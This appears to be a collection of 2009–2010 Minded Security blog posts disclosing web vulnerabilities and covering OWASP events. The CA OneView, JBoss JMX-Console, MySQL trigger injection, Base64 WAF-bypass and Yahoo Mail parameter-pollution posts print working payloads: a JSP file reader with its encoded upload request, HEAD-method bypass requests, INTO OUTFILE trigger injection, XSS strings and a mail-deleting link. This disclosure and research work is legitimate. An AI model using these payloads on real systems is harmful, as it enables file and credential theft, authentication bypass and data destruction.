Minded Security Blog

New Web Vulnerabilities in ServletExec Application Server

2010-08-05T02:58:00.000-07:00

New Atalnta Servletexec is a Web Application Server that is bundled with many enterprise Applications. Several vendors make extensive usage of Servlet Exec in their software solutions: CA (Siteminder), BMC Software (Remedy), SAP, etc...

Usually Servlet Exec is used as an ISAPI component on top of IIS to give to Microsoft Web Server the ability to process JSP and J2EE applications.

Vulnerabilities on Web Servers are pretty nasty, since their impact is extended on the Web Applications hosted. You should upgrade to the latest Servlet Exec Hot Patch, if not, your application will suffer from a path traversal and a Security Bypass vulnerability.

Original Advisory by Minded Security:
New Atlanta Servlet Exec Multiple Security Issues

Offcial Fix:
New Atlanta Hotfix July 2010

CA Siteminder Oneview Monitor Remote code execution

2010-06-28T13:57:00.000-07:00

A couple of days ago we have published an advisory about a "vanilla" path manipulation in CA Oneview Monitor. This issue may lead to remote code execution and system compromise.

You can find the advisory here:
CA Oneview Monitor "DoSave.jsp" path manipulation


  Vendor Response:
  State: Not A Bug
  Resolution: Functions as Designed
  Resolution_Note: As per the docs, the only way to protect OneView is by putting SiteMinder in front.

To clarify vendor's position, One view monitor is a Plugin for Siteminder Policy Editor which is NOT installed by default;.. however by default is also NOT password protected.

Vendor suggests to enforce security restrictions to this interface to mitigate security risks *


  From Admin guide:
  Protect The OneView Viewer
  To protect the OneView viewer, create a SiteMinder policy that
  protects the resources in siteminder monitor.

The following is the same example that we sent to CA several weeks ago, that shows a real attack scenario against a Siteminded policy server with Oneview monitor installed without password protection:

1) The attack is based upon JSP code execution, you can do anything that is under the privilege of the application server that runs the Oneview Monitor.

Example of a Typical Installation:

- Siteminder Monitor
- Policy Manager
- Some other software, in this case LDAP Browser with it's configuration files

I will demonstrate a common attack that let you read most of the files from the remote machine. Generic JSP File Reader Code:

<%@ page import="java.io.*" %>
<% String[] ok = request.getParameterValues("f");

if(ok!=null){

FileInputStream fileinputstream = new FileInputStream(ok[0]);

int numberBytes = fileinputstream.available();
byte bytearray[] = new byte[numberBytes];

fileinputstream.read(bytearray);

for(int i = 0; i < numberBytes; i++){
out.println(bytearray[i]);
}

fileinputstream.close();
} %>

The previous code was written to be small enough to suite the limitations in length of the “cols” parameter (Maximum 620 bytes). The following request loads the code into OneView session:

http://<site>/sitemindermonitor/doConfig.jsp?newTable=newtable&components=Agent&cols=AuthorizeCount%20/%20sec%0d<%25@%20page%20import="java.io.*"%20%25><%25%20String[]%20ok%20=%20request.getParameterValues("f")%3b%20FileInputStream%20fileinputstream%20=%20new%20FileInputStream(ok[0])%3b%20int%20numberBytes%20=%20fileinputstream.available()%3b%20byte%20bytearray[]%20=%20new%20byte[numberBytes]%3b%20fileinputstream.read(bytearray)%3b%20for(int%20i%20=%200%3b%20i%20<%20numberBytes%3b%20i%2b%2b){%20out.println(bytearray[i])%3b%20}%20fileinputstream.close()%3b%20%25>

As seen before on the PDF the configuration information file can be saved to an arbitrary path:

http:///sitemindermonitor/doSave.jsp?file=../readfile.jsp

It's possible to use our code to read arbitrary files on the target system. In our case we are going to read a file with useful information (e.g. Credentials):

http:///sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg

Readfile.jsp sends binary encoded output. The previous output can be easily decoded with a few lines of perl (converter.pl):

#!/bin/sh
#! -*- perl -*-
eval 'exec /usr/bin/perl -x $0 ${1+"$@"} ;'
if 0;

while (<stdin>) {
my $str = chr($_);
print $str;
}

The response can be read and decoded by using the following command:

user@mindbox:~/wget -qO-
http:///sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg
| ./convert.pl

################################
# LDAP Browser v2.8 config file #
#################################

basedn=dc=test,dc=customer
port=389
managerlogin=yes
managereferrals=no
limit=0
derefaliases=always
version=3
sslport=636
timeout=0
password=T*******T
host=customer
managerdn=cn=user Name Surname,ou=Users,ou=keys....

user@mindbox:~/

Of course you can also execute processes under the privilege of the application server to spawn a shell.

*Note: It's very important to say that "DoSave.jsp" is also prone to Cross Site Request forgeries issues, so protecting this resource via a SSO cookie authentication (i.e. Siteminder auth cookie) cannot completely eliminate the risk.

From our point of view this is a very specific application security bug: a path manipulation issue. This issue should be fixed by rethink the data validation checks.

Good Bye Critical Jboss 0day

2010-04-30T01:36:00.000-07:00

Authentication bypass vulnerabilities are always interesting from a penetration tester point of view, because the 80% of the time are very simple to abuse. The impact of a security bypass vulnerability depends, from a technical perspective, on what you could be able to do when you are authenticated.

Jboss has some good management tools that are used to deploy new applications and to perform privileged actions like executing scripts on the remote host. One of these is Jboss JMX-Console.

For more information on what an attacker may accomplish through the JMX-Console I suggest to read the following presentation:

Abusing Jboss by Christian Papathanasiou (Trustwave Spiderlabs)

Here at Minded Security we discovered something more. Jboss JMX console may be protected using a common password authentication, but the standard password configuration protection is vulnerable.

How many time someone suggested to you to secure the JMX console using the standard Jboss security configurations?

JMX Console standard security configuration is available in:

jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml

This is the suggested security configuration also available in Jboss official security guidelines (“White Paper on JMX Security”):

https://jira.jboss.org/jira/browse/SECURITY-31

The suggested configuration for protecting the JMX Console was the following one:

<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>

From the configuration above, security restrictions are enabled only for “GET” and “POST” methods. Any other HTTP method supported by the server will be not restricted.

By issuing a request with the “HEAD” method is possible to invoke directly, with “JBossAdmin” privilege, any functionality implemented by the jmx-console without valid credentials. Note: If JMX console replies with a HTTP 500 error the request has been correctly processed.

This kind of attack is referred in Appsec literature as Verb Tampering. The following one is a very good paper on this topic.

Bypassing with HTTP Verb Tampering by Arshan Dabirsiaghi - Aspect Security

The most interesting part is the exploitation. If we have access to any JMX console which is password protected or not, we can issue a HEAD HTTP request that will work ;D

Standard Deployment (will ask for password):

POST /jmx-console/HtmlAdaptor;index.jsp HTTP/1.1
....
content-lenght: 3512

action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&
arg3=%3C%25%40+page+import%3D%22java.io.*…....

Exploitation with Authentication Bypass:

HEAD /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*….... HTTP/1.1

Now pick the request you prefer and build your custom exploit!

Reference:
http://www.mindedsecurity.com/MSA030409.html (Official Advisory)

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738

Solution:
A solution to this issue is already available. See the following RedHat advisories:

https://rhn.redhat.com/errata/RHSA-2010-0376.html
https://rhn.redhat.com/errata/RHSA-2010-0377.html
https://rhn.redhat.com/errata/RHSA-2010-0378.html
https://rhn.redhat.com/errata/RHSA-2010-0379.html

We would like to thank the RedHat response team in particular Marc Schoenefeld for his support, technical knowledge and fast response.

Is Php the only language doing flexible Base64 decoding?

2010-04-22T02:01:00.000-07:00

As a follow up to the Base64 decoding post, I did a quick research on Base64 implementations.

http://www.google.com/codesearch?hl=en&sa=N&filter=0&q=base64+decode+lang:java

And some interesting result came out:

http://www.google.com/codesearch/p?hl=en#p9nGS4eQGUI/gnu/classpath/classpath-0.13.tar.gz|er25_rDDsHI/classpath-0.13/gnu/java/net/BASE64.java&q=base64+decode+lang:java

gnu.java.net.BASE64

public static byte[] decode(byte[] bs)
{
int srclen = bs.length;
while (srclen > 0 && bs[srclen - 1] == 0x3d)
{
srclen--; /* strip padding character */
}

That means that any = is stripped before the decoding is actually done.

$ java BASE64 -d "PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== = <scro\ufffd\ufffd\ufffd\ufffd><script>alert(1)</script>

This is of course a bad implementation of B64 decoding.

But it could fool a control since most of decoders stop at first = sequence.

http://www.google.com/codesearch/p?hl=en#p6HPTpcXbFY/JPainter/painter.zip|Iy8ZaJ1-4W4/jsp/Base64.java&q=base64+decode+lang:java

com.izhuk.util.Base64;

public static byte[] decode(String encoded) {
int i;
byte output[] = new byte[3];
int state;

ByteArrayOutputStream data = new ByteArrayOutputStream(encoded.length());

state = 1;
for(i=0; i < encoded.length(); i++)
{
byte c;
{
char alpha = encoded.charAt(i);
if (Character.isWhitespace(alpha)) continue;

and finally:

http://www.google.com/codesearch/p?hl=en#CskViEIa27Y/src/org/apache/commons/codec/binary/Base64.java&q=base64+decode+lang:java&sa=N&cd=19&ct=rc

org.apache.commons.codec.binary.Base64

public static byte[] decodeBase64(byte[] base64Data) {
// RFC 2045 requires that we discard ALL non-Base64 characters
base64Data = discardNonBase64(base64Data);

... act surprising.

If somebody wants to continue the research of B64 implementation I'll appreciate a comment here :)

Fooling B64_Encode(Payload) on WAFs and filters

2010-04-21T02:01:00.000-07:00

When dealing with Web Application Firewall, IDSs or application filters trying to block attacks there are always two big problem:

Completeness
Correctness

We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.
A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).
Now the question is how can I implement a decoder to get the input back in clear?
Let's talk about Base64.

Base64 encoding and decoding are implemented in many ways and many languages.
For example PHP base64_decode() is:

Very greedy.
Goes ahead even if something goes wrong

Even some Java Implementation is kind of greedy:
com.sun.org.apache.xerces.internal.impl.dv.util.Base64

public static byte[] decode(String paramString) {
if (paramString == null) {
return null;
}
char[] arrayOfChar = paramString.toCharArray();
int i = removeWhiteSpace(arrayOfChar);

The question is: How to rely on WAF or filters controls if they miss some
behaviour?

NoScript checks for Base64 encoded Xss.
ModSecurity implements Base64 decoding using the following rule:

SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"

So the following payload is caught by both:
b64_encode("<script>alert(1)</script>");

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Mod_Security:

NoScript:

But since the real decoder is on another layer, let's try with PHP's decoder
using the illegal character '.':

P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Here's what happens:

ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are bypassed.
Same happens for other illegal character.
Now NoScript is fixed (v. >= 1.9.9.62) and I expect ModSecurity to be fixed soon.

The question still remains.
How to rely on WAF or filters controls if they miss some behaviour?

WAFs and IDSs are good for defense in depth.
So don't rely too much on those.
Apply SSDLC by implementing correct filters and controls and
Test, Test, Test in your own environment!

MySQL Stacked Queries with SQL Injection...sort of

2010-04-21T02:55:00.000-07:00

Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.

In the next few lines we'll describe a new technique that could allow an attacker
to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?

Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of
the Database data dir.
It needs two files:

/mysql/datadir/DB/TableName.TRG
/mysql/datadir/DB/TriggerName.TRN

Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:

mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;

We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

and /var/lib/mysql/users/user.TRG

TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'

What happens if we successfully write user.TRG and atk.TRN in
/var/lib/mysql/users/users.TRG using INTO OUTFILE ?

AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where
isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l
atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi
sh_ci\'\n';

Then do the same to create atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

MySQL will check if a TRG extension is present and will execute the
trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.

Another interesting thing about this attack is that we can try fuzzing

tabname.MYD
tabname.MYI
tabname.frm

and of course

tabname.TRG
triggername.TRN

file format and try to exploit the file format parsers.
We found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.

OWASP projects and resources you can use TODAY

2010-03-31T14:18:00.000-07:00

Next 16th April in London, OWASP leaders will deliver a course focused on the main OWASP Projects.
Apart from OWASP's Top 10, most OWASP Projects are not widely used and understood. In most cases this is not due to lack of quality and usefulness of those Document & Tool projects, but due to a lack of understanding of where they fit in an Enterprise's security ecosystem or in the Web Application Development Life-cycle.
This course aims to change that by providing a selection of mature and enterprise ready projects together with practical examples of how to use them.
This Course is FREE for OWASP Members. Registration is mandatory.
Details here

OWASP-Italy interviewed by Repubblica.it

2009-12-13T13:16:00.000-08:00

Repubblica.it (the second largest circulation Italian daily newspaper) interviewed Matteo Meucci (OWASP-Italy chair) on the large-scale SQL injection attack that hit hundred thousand Websites from the last 10th december, injecting malicious iFrames to install a backdoor Trojan on the user clients.

Read the article.

BSIMM Europe

2009-11-11T14:59:00.000-08:00

The Building Security In Maturity Model (BSIMM) was released in March 2009 under a Creative Commons license. Since March, the BSIMM has evolved and expanded in several ways. Most importantly, the BSIMM study has added data for seventeen companies to the original nine, bringing the study total to twenty-six.
You can read the article of Gary McGraw (author of Software Security: Building Security In, CTO Cigital) here.

Take a look at the last presentation of Gabriele Giuseppini regarding BSIMM at the last
OWASP Day IV

Minded Security translates the BSIMM document in italian. You can download it
here.

OWASP-Italy Day IV

2009-10-11T14:34:00.000-07:00

Next 6th November we will have the next OWASP-Italy Day.
In this occasion CIOs, CTOs, CISOs, Auditors, IT managers, Security Managers and Security Governance managers, will have the opportunity to uptade about the evolution about the Application Security and the new intiatives about Software Security.

The Agenda:

9:00h Registration
9.30h Introduction to the OWASP-Day
Matteo Meucci - OWASP-Italy Chair
9.50h How to Create Business cases for Your Software Security Initiative
Marco Morana — CISO, Citigroup
10.30 OWASP SAMM / Open Software Assurance Maturity Model
Claudio Merloni — Software Security Consultant, Fortify Software
11.10h Coffee break
11.40h From Web Attacks to Malware. Can Secure Software Development Help Internet Banking Security?
Giorgio Fedon — COO, Minded Security
12.20h Usability versus security: securing Internet facing applications while keeping them highly attractive for everybody
Tobias Christen — CTO, DSwiss Ltd
13.00h Business Lunch
14.00h NoScript, CSP and ABE: When the Browser Is Not Your Enemy
Giorgio Maone — CTO, InformAction
14.40h Building Security In Maturity Model: A Review of Successful Software
Gabriele Giuseppini — Technical Manager, Cigital
15.20h The art of code reviewing
Paolo Perego — Senior Consultant, Spike Reply
16.00h Round Table: Why Software Security is not a priority in our digital world?
Marco Morana, Carlo Merloni, Gabriele Giuseppini, Stefano Di Paola — Keynote Raoul Chiesa

References:

"Avete finito di imbottire le vostre reti di firewall e altre diavolerie simili? Allora è tempo di cambiare prospettiva e rendersi conto che oggi, dopo aver messo in sicurezza il perimetro dei nostri sistemi informativi, le minacce più serie provengono dalle nostre stesse applicazioni che, a volte, non sono progettate ed implementate, tenendo conto delle migliori pratiche di sviluppo di software sicuro. In questo campo l’OWASP rappresenta un punto di riferimento costante ed una miniera di informazioni e strumenti, ed al Ministero dell’Istruzione, Università e Ricerca abbiamo imparato ad apprezzarne i materiali e le informazioni disponibili sul suo sito web, nell’ambito del nostro gruppo che si occupa di sicurezza del sistema informativo. Per conoscere le iniziative dell’OWASP, avere un’anteprima delle principali novità in tema di sicurezza del software, incontrare i maggiori esperti in questo settore, partecipate all’OWASP DAY – ITALY IV il 6 novembre prossimo a Milano, sarà un’occasione utilissima di approfondimento."
Paolo De Santis – Dirigente della Direzione Generale per gli Studi, la Statistica ed i Sistemi Informativi del MIUR

“L’OWASP Day è il luogo e il momento per incontrare altri professionisti e appassionati del settore. E’ un’opportunità per conoscere direttamente dai protagonisti le metodologie, le tecniche e gli ambiti di ricerca nel mondo della sicurezza applicativa divenuto ormai il fattore principale, insieme a quello umano, nel campo dell’Information Security. “
Massimo Trevisani—CSO IWBank

"Le conferenze OWASP in Italia rappresentano un momento importante di awareness sulla sicurezza applicativa. L'evento rappresenta un punto di riferimento in cui i professionisti dell'IT possono valutare nuovi approcci allo sviluppo sicuro del software e alla difesa delle proprie applicazioni on-line"
Marco Bavazzano—CISO Telecom Italia

More information and registration to the event
here

Discretionary controls may lead to social engineering attacks against banking dongles

2009-05-21T07:01:00.000-07:00

New social engineering attack strategies will deal with the fact that some details entered in banking transactions are checked discretionally by the receiving institute. Any bank has a different database for user details and a different policy: that’s good because user details are kept very confidentially. However any single institute has very proprietary controls; some do well, some do not.

The bad news is that one misbehaving entity is enough for lowering the security of the network. Attacker could choose the only bank in the country that has very weak controls, since the goal is to receive banking transfers from other people.

Let's assume that the bank where Mallory has his account will accept bank transfers if the the recipient is wrong and the amount transferred is lower than 5k. We could have a situation like the following one:
What If your bank will receive the correct account number with a wrong name on it? Well, the correct Beneficiary Name is not mandatory for issuing a bank transfer, but your bank (the receiving party) could accept it or not.

Usually the attacker has still 3 additional days to phone the receiving bank and try to persuade one employee to finalize the transaction before the transfer gets blocked.

We did some tests about sending money in our country to correct IBAN account numbers, but to wrong recipients.

Some results:

For amounts lower to 100 euros: 2 out of 7 banks confirmed and accepted the transfer.
For and amount of 3000 euros: 1 out of 3 banks confirmed and accepted the transfer after a phone call.

Phone call was made to the Office that handled the incorrect transfers. We just said that we meant to perform a banking transaction to another recipient, but we entered the wrong details. The operator said that she was expecting another bank operator, and not a customer but she said that was just fine.

Attackers may take advantage of these issues to perform social-engineering attacks directly on antimalware devices.

Effective attack strategy could be once again luring the user into confirming the wrong transaction, by preserving those fields that are actually remembered by the user. So which fields can be easily remembered?

Amount? easily
Recipient? easily
Country? easily
IBAN? Not easily. Personally I would just check for the name in the recipient field if it is available on the screen.

External device screens may look similar to the one below. Details include also IBAN, Account number, and any other detail is directly displayed on the external screen:

The main challenge in designing Antimalware solutions is to “Authenticate the Transactions to the user”. The most common way to meet this requirement is to provide an out of band channel that displays the transaction details in a secure manner. In this way the user can spot if “something” between him and the bank has interfered within the transmission.

Typical attacks against banking security solutions are impersonation attacks that need a malware already installed on the user system. The following is an example of a very common MITM (Man in the Middle Attack) performed on the local user machine:

By giving a clarifying example, let’s assume that the user (Bob) is doing a banking transfer to his friend (Alice). The details displayed out of band on the external devices will be:

Amount of Transaction: 300
Recipient: Alice
Country: Wonderland
IBAN: WL04292039280100000000918292

If an attacker using a malware capable of “Local Man in the Middle Attack” changes some of the details, the external devices will prompt for confirmation. At this point the transaction will look very different from the original one:

Amount of Transaction: 10000
Recipient: Mallory
Country: Wonderland
The IBAN: WL053510393501200000003523491

This fraud attempt is easy to spot, even if the attacker is using a mule in the same country as the victim: Transaction Amount and Recipient Details are very different from the original ones.

But if the attacker uses the social engineering attack mentioned at the beginning he could succeed by simply modifying the IBAN details (instead of the Amount and the Name of the Recipient):
Can you spot the difference? Maybe yes (the IBAN visibly changed), but many details are unchanged from the original transaction. This fact will probably fool many users.

The main reason is that additional details, such as the Recipient are considered trusted by the user and can have influence upon his choices. The details provided to the user should be the lowest as possible; any further detail which is not completely trusted by the bank itself may lead to confusion and leading to considerably increase the attack surface.

For banking network security reasons, be sure to threat correctly banking transfers with incongruent details, on both online banking and phone banking operators' side.

Are you sure you are doing it correctly? Please check it, for the health of next generation security solutions.

HTTP Parameter Pollution FAQs

2009-05-21T08:11:00.000-07:00

We have received numerous public replies as well as several private emails.
Thanks for your comments, suggestions and feedbacks.

It's now time to summarize and clarify some points.

Q: Is this a new class of exploits or just another case of applications lacking input validation?
A: Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.
In this specific case, query string delimiters are the "dangerous" characters.

Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?
A: Yes, sure. However, considering the granularity available, we don't think it is really so interesting.

Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.
A: Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by 'hard-core' attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds.
The aim of the entire research is to raise awareness around this problem.
In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.
We strongly believe that sharing such knowledge may increase the security of all web applications.

Q: Most of your examples and findings use GET parameters. What about POST?
A: POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.

Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?
A: No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.

Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?
A: Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.
After all, that's why it is possible to abuse the query string delimiters injection flaw.

Q: Is Yahoo! Mail still vulnerable to HPP?
A: Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.

Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?
A: We've just published here an in-depth review of the issue with the video PoC as well.

Q: What's the right way of managing multiple occurrences? Is there a 'perfect' framework?
A: No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.

Q: HPP is only about WAFs bypasses?
A: Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.

Q: How can I prevent HPP?
A: First of all, answer yourself "Which layer am I protecting?".
Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.
From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.

Q: Am I vulnerable to HPP?
A: It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).

That's all (for now).

Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc

2009-05-21T06:14:00.000-07:00

As a follow up of HTTP Parameter Pollution presentation,
I think it's time to give some details of the Yahoo! Classic Mail exploitation.
That's the long version of the video we showed @ OWASP Appsec Poland 2009:
Youtube LD Video or Wisec HD Video

Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:
"...
How client side HPP works?
It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:

http://yahoo.com?par=val%26aaaa=aaa

Have a look at Html source looking for translation of %26 in & or & in anchors or other attributes using the url, such as:

<a href="http://yahoo.com?par=val&aaaa=aaa"> View </a>

The semantic of such link changes from the function described to something else.
In fact, if instead of %26aaaa=aaa the injected parameter is:

%26action=delete

It becomes:

<a href="http://yahoo.com?par=val&action=delete"> View </a>

so even if the user sees View, the action will be delete.
Obviously it strongly depends on the functionalities and the structure of the Web app...

Yahoo! Classic Mail Issue

I found that client side HPP is possible on some parameter in the first page of Inbox.
For instance:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0

has "startMid" which could be used as entry point for client-side HPP.
In fact trying to add %26aaaa=aaa to startMid:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%26aaaa=aaaa

Every link to listed emails, within inbox, expands %26 into &.
Specifically:

<a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&sMid=0&fid=Inbox&sort=date&order=down&startMid=0&aaaaa=aaa&filterBy=&.rand=1076957714&midIndex=0&mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&f=1">An email subject </a>

(notice the &aaaa=aaa)
As a result, when the user will click on any email subject he will trigger the execution of a different action, as it usually happens for CSRF.

The proof of concept

I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.

Later on, I found that:
cmd=fmgt.emptytrash

is the action for emptying the trashcan

and that:
DEL=1&DelFID=Inbox&cmd=fmgt.delete

forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.

Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.

Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete

when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..

Countermeasures to Client Side HPP

When creating URLs the parameters taken from the HTTP request itself
should be url encoded and not translated to Html Entities.

Example (php):

<a href="/?startmid="<?=urlencode($_GET['startMid'])?>&id=4">View</a>

and not:

<a href="/?startmid="<?=htmlspecialchars($_GET['startMid'])?>&id=4">View</a>

The Attack flow
Let's review, once again, the attack flow:

Flow #1:

Attacker sends an email to the victim with the above link.
User/victim clicks on the link and gets the inbox page again.
User/victim clicks in order to see the other messages and gets every message deleted.

Flow #2:

User/victim visits a malicious page
Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.
User/victim clicks in order to see the other messages and gets every message deleted.

...

Cheers,
Stefano
..."

Just to be clear, this vulnerability is currently patched and it affected the Yahoo! Mail classic version only.
However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.

FOSDEM 09

2009-02-13T05:13:00.000-08:00

Matteo Meucci was invited to talk about the new OWASP Testing Guide and Secure Software Development at FOSDEM 09.
FOSDEM
Presentation
Here you can download the video of the presentation:
Testing Guide video

The following is the interview that Christophe Vandeplas gives to Matteo and Paulo Coimbra (OWASP Project Manager):

Hi, thank you for the interview. I have been working in Information Security for some years, starting with a thesis in PKI and Attribute Certificates. I worked for many consultancy firms, then in 2007 with Stefano Di Paola and Giorgio Fedon we decided to create Minded Security, a company totally focused on Application Security Consultancy. I have been contributing to OWASP for many years and in 2005 I founded the Italian Chapter and from 2006 I lead the OWASP Testing Guide Project.

What will your talk be about, exactly?

The goal is to show the OWASP testing methodology and how you can implement a software development lifecycle that permits to develop more secure applications.
What do you hope to accomplish by giving this talk? What do you expect?

I’d like to promote the OWASP guidelines and find more people interested in OWASP and contributing to improve our projects.

What's the target audience for the OWASP Testing Guide?

We make this guide available in a completely free and open way because we believe sharing knowledge could contribute to develop more secure applications. The target audience here is not only the Application Tester, but everyone involved in the Software Development Life Cycle. So the Security Managers, the Internal Audit, the Developer Team, the Testers, are all interested to adopt a common and open source methodology to test the security of the application.

How would you describe the OWASP Testing Guide in a few sentences?

An open and standard methodology to perform Web Application Penetration Testing.

What are the biggest differences between v2 and v3 of the OWASP Testing Guide?

That's a good point. OWASP started in 2005 with the first testing guide version. We collected the set of test to perform and a short methodology. In 2006 we did a great job creating version 2 that collects 8 categories of tests for a total amount of 48 controls. The guide describes each single control to test.

Now v3 collects 10 categories of tests for a total amount of 66 controls and we have created a shared methodology in a 347 pages book.

How successful was the OWASP Summer of Code 2008? How many participants were there? What were the most important accomplishments during this period? What are the differences with the OWASP Spring of Code 2007 and OWASP Autumn of Code 2006?

Paulo Coimbra (OWASP Project Manager): OWASP Foundation is a voluntary, not-for-profit entity and open community. By responding so significantly to the Summer of Code’s challenge, this community has showed its vitality and true passion in improving application security.

We have invested roundly 275,000 dollars to fund the entire Summer of Code initiative. We have used slightly less than half of this amount to symbolically reward the work of one hundred project leaders, contributors and reviewers.

The remaining budget has been used to support the inter-linked OWASP Summit, a thrilling event set up to identify, coordinate, and prioritize OWASP efforts to create a more secure Internet in which the Summer of Code deliveries were publicly presented.

As it was said by OWASP Chair Jeff Williams, "Our community is growing and organizing into a powerful movement that will affect software development worldwide" and so the Summit, being the Summer of Code 2008 its central piece, has marked a major milestone in our efforts to improve application security.

Apart from launching more than two dozen of new or updated documents and tools, as for the most important accomplishments during this period, we would like to point out the reinforcement of an amazing knowledge sharing culture plenty of comradeship, curiosity and freedom.

Given OWASP´s worldwide scope characteristic, several of its contributors from all earth corners had been collaborating to develop application security for several years often without personally meeting each other. By gathering the majority of the most active of them in a friendly and productive environment, both events the OWASP Summer of Code 2008 and the OWASP Summit have created the conditions for enhanced future achievements. This circumstance and an improved organizational support should have been the major differences relatively to the past seasons of code.

What can we expect from the OWASP Winter of Code 2009?

Paulo Coimbra (OWASP Project Manager): Although the OWASP Winter of Code 2009 design is not finished yet and so its final frame can yet be modified by the expected OWASP community inputs, I believe the new season of code to be very similar to the previous one.

Likely by the next month the call for applications will be sent and we will be accepting proposals in three distinct spheres, namely, Innovation/Start-ups, Integration/Development and Quality Improvement.

